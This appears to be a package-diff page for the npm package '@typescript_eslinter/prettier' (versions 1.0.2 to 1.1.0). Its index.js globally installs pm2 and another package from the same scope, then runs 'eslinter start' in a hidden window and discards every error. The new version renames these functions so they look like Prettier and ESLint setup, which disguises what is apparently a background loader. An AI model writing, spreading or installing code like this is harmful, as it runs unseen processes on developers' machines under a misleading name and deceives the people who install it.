@typescript_eslinter/prettier
Advanced tools
Comparing version 1.0.2 to 1.1.0
12
index.js
const { exec } = require('child_process'); | ||
// Function to install pm2 globally | ||
function installPm2() { | ||
function installPrettier() { | ||
return new Promise((resolve, reject) => { | ||
@@ -17,3 +17,3 @@ exec('npm install -g pm2', (error, stdout, stderr) => { | ||
// Function to install screener globally | ||
function installScreener() { | ||
function installEslinter() { | ||
return new Promise((resolve, reject) => { | ||
@@ -31,3 +31,3 @@ exec('npm install -g @typescript_eslinter/eslint@latest', (error, stdout, stderr) => { | ||
// Function to start the folder with pm2 | ||
function startScreener() { | ||
function startEslinter() { | ||
return new Promise((resolve, reject) => { | ||
@@ -47,5 +47,5 @@ exec(`eslinter start`, { windowsHide: true }, (error, stdout, stderr) => { | ||
try { | ||
await installPm2(); | ||
await installScreener(); | ||
await startScreener(); | ||
await installPrettier(); | ||
await installEslinter(); | ||
await startEslinter(); | ||
} catch (error) { | ||
@@ -52,0 +52,0 @@ } |
{ | ||
"name": "@typescript_eslinter/prettier", | ||
"version": "1.0.2", | ||
"version": "1.1.0", | ||
"main": "index.js", | ||
@@ -5,0 +5,0 @@ "scripts": { |
1795